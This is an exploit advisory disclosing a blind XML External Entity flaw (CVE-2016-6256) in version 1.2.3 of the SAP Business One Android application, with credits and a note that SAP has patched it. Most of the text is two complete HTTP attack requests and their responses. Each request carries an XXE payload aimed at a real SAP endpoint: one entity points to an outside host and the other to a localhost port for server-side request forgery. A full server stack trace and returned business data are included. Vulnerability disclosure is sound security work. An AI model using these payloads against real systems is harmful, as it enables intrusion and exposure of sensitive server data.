Exploit Title: Blind XXE (XML External Entity)in SAP
Date of Disclosure: 17/05/2017
Author: Ravindra Singh Rathore
Vendor Homepage: https://www.sap.com/products/business-one.html
Product - SAP Business One Android Application
Version - 1.2.3
Security Note: 2378065
CVE - CVE-2016-6256
CVSS - 6.5

XXE - An XML External Entity(XXE) attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

SAP Business One Android Application is vulnerable to XXE. A remote attacker could exploit this vulnerability to expose highly sensitive information from servers.


1) HTTP Request Response
**************************************************************************

POST /B1iXcellerator/exec/soap/vP.001sap0003.in_WCSX/com.sap.b1i.vplatform.runtime/INB_WS_CALL_SYNC_XPT/INB_WS_CALL_SYNC_XPT.ipo/proc HTTP/1.1
Content-Type: text/xml; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; Custom Tablet - 4.2.2 - API 17 - 2560x1600 Build/JDQ39E) B1Mobile/1.2.3
Host: b1hmobile.tdc.sap.com:8443
Connection: close
Accept-Encoding: gzip
Cookie: JSESSIONID=13946F6CFCBB6FE1F2D515087FB08FF3; JSESSIONID=13946F6CFCBB6FE1F2D515087FB08FF3
Content-Length: 493

<?xml version='1.0' encoding='UTF-8' ?> <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "https://live.com" >]><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetRecentActivity xmlns="http://tempuri.org/"><EndTime>2016-06-30 23:59</EndTime><StartTime>2016-06-01 00:00</StartTime><foo>&xxe;</foo></GetRecentActivity></soap:Body></soap:Envelope>




HTTP/1.1 500 Internal Server Error
Date: Wed, 18 May 2016 07:01:33 GMT
Server:
X-FRAME-OPTIONS: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/xml
Content-Length: 5566
Connection: close

<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring>Server Error</faultstring><detail><xci:reason xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">Connection timed out: connect</xci:reason><xci:tid xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">16051808473007955376AC106B972823</xci:tid><xci:exception xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect</xci:exception><xci:callStack xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sap.b1i.xcellerator.IPOWorkResource.execute(IPOWorkResource.java:527)
	at com.sap.b1i.xcellerator.IPOStepInstance.executeInner(IPOStepInstance.java:683)
	at com.sap.b1i.xcellerator.IPOStepInstance.executeOuter(IPOStepInstance.java:518)
	at com.sap.b1i.xcellerator.Xcellerator.trigger(Xcellerator.java:1422)
	at com.sap.b1i.xcellerator.SingleAdapterPool.trigger(SingleAdapterPool.java:462)
	at com.sap.b1i.xcellerator.ActiveListenerInteractor.trigger2(ActiveListenerInteractor.java:191)
	at com.sap.b1i.xcl_wsar.WSARListener.executeWSAx(WSARListener.java:219)
	at com.sap.b1i.xcl_wsar.WSARListener.handleWS(WSARListener.java:156)
	at com.sap.b1i.xcl_http.HTTPListener._doXxx(HTTPListener.java:1504)
	at com.sap.b1i.xcl_http.HTTPListener._doPost(HTTPListener.java:1405)
	at com.sap.b1i.xcl_http.HTTPListener.service(HTTPListener.java:805)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:723)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:233)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:563)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:293)
	at org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:861)
	at org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.process(Http11Protocol.java:606)
	at org.apache.tomcat.util.net.JIoEndpoint$Worker.run(JIoEndpoint.java:489)
	at java.lang.Thread.run(Thread.java:812)
Caused by: com.sap.b1i.xcellerator.XcelleratorException: XCE001 Nested exception:
com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sap.b1i.xcl_wsar.WSARAdapter.get(WSARAdapter.java:295)
	at com.sap.b1i.xcellerator.IPOStepInstance.handleIO(IPOStepInstance.java:1391)
	at com.sap.b1i.xcellerator.IPOStepInstance.executeTransaction(IPOStepInstance.java:1050)
	at com.sap.b1i.xcellerator.IPOWorkResource.execute(IPOWorkResource.java:425)
	... 24 more
Caused by: com.sap.b1i.utilities.UtilException: UTE001 Nested exception: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sap.b1i.utilities.XMLHandler$DocumentManipulator.transformSource2Result(XMLHandler.java:272)
	at com.sap.b1i.utilities.SAXDoc2Pass.process(SAXDoc2Pass.java:121)
	at com.sap.b1i.utilities.SAXDocSplitter.process(SAXDocSplitter.java:14)
	at com.sap.b1i.xcl_wsar.WSARAdapter.get(WSARAdapter.java:255)
	... 27 more
Caused by: javax.xml.transform.TransformerException: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.getDOM(TransformerImpl.java:584)
	at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(TransformerImpl.java:745)
	at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.transform(TransformerImpl.java:357)
	at com.sap.b1i.utilities.XMLHandler$DocumentManipulator.transformSource2Result(XMLHandler.java:264)
	... 30 more
Caused by: com.sun.org.apache.xml.internal.utils.WrappedRuntimeException: Connection timed out: connect
	at com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager.getDTM(XSLTCDTMManager.java:427)
	at com.sun.org.apache.xalan.internal.xsltc.dom.XSLTCDTMManager.getDTM(XSLTCDTMManager.java:215)
	at com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl.getDOM(TransformerImpl.java:562)
	... 33 more
</xci:callStack><xci:retryLater xmlns:xci="urn:com.sap.b1i.xcellerator:intdoc">false</xci:retryLater></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>


**************************************************************************


2) HTTP Request Response
**************************************************************************
POST /B1iXcellerator/exec/soap/vP.001sap0003.in_WCSX/com.sap.b1i.vplatform.runtime/INB_WS_CALL_SYNC_XPT/INB_WS_CALL_SYNC_XPT.ipo/proc HTTP/1.1
Content-Type: text/xml; charset=UTF-8
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; Custom Tablet - 4.2.2 - API 17 - 2560x1600 Build/JDQ39E) B1Mobile/1.2.3
Host: b1hmobile.tdc.sap.com:8443
Connection: close
Accept-Encoding: gzip
Cookie: JSESSIONID=3974AE7255D6C15EB0546A903DF474AC; JSESSIONID=3974AE7255D6C15EB0546A903DF474AC
Content-Length: 498

<?xml version='1.0' encoding='UTF-8' ?> <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><GetRecentActivity xmlns="http://tempuri.org/"><EndTime>2016-06-30 23:59</EndTime><StartTime>2016-06-01 00:00</StartTime><foo>&xxe;</foo></GetRecentActivity></soap:Body></soap:Envelope>












HTTP/1.1 200 OK
Date: Wed, 15 Jun 2016 10:19:44 GMT
Server:
X-FRAME-OPTIONS: SAMEORIGIN
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/xml;charset=UTF-8
Connection: close
Content-Length: 9689

<?xml version='1.0' encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body>
<GetRecentActivityResponse xmlns="http://tempuri.org/">
        <GetRecentActivityResult>[{"Number":"2352","Remarks":"Sales discounts","StartDateTime":"2016-06-01 06:40","Activity":"C","EndDateTime":"2016-06-01 06:55","Organizer":"Tom Mobile","CnctPerson":"Daniel Brown","Status":"","Reminder":"N","RemQty":"15.000000","RemType":"M","Notes":""},{"Number":"2390","Remarks":"Sales planning","StartDateTime":"2016-06-17 06:40","Activity":"M","EndDateTime":"2016-06-17 06:55","Organizer":"Tom Mobile","CnctPerson":"Bob McKensly","Status":"","Reminder":"N","RemQty":"15.000000","RemType":"M","Notes":""}]</GetRecentActivityResult>
      </GetRecentActivityResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>



**************************************************************************

Solution:
SAP has released patch on 13/12/2016


## Credits
 * Ravindra Singh Rathore
 * https://in.linkedin.com/in/ravindra-singh-rathore-8aa89236
 * https://twitter.com/ravindra_hacks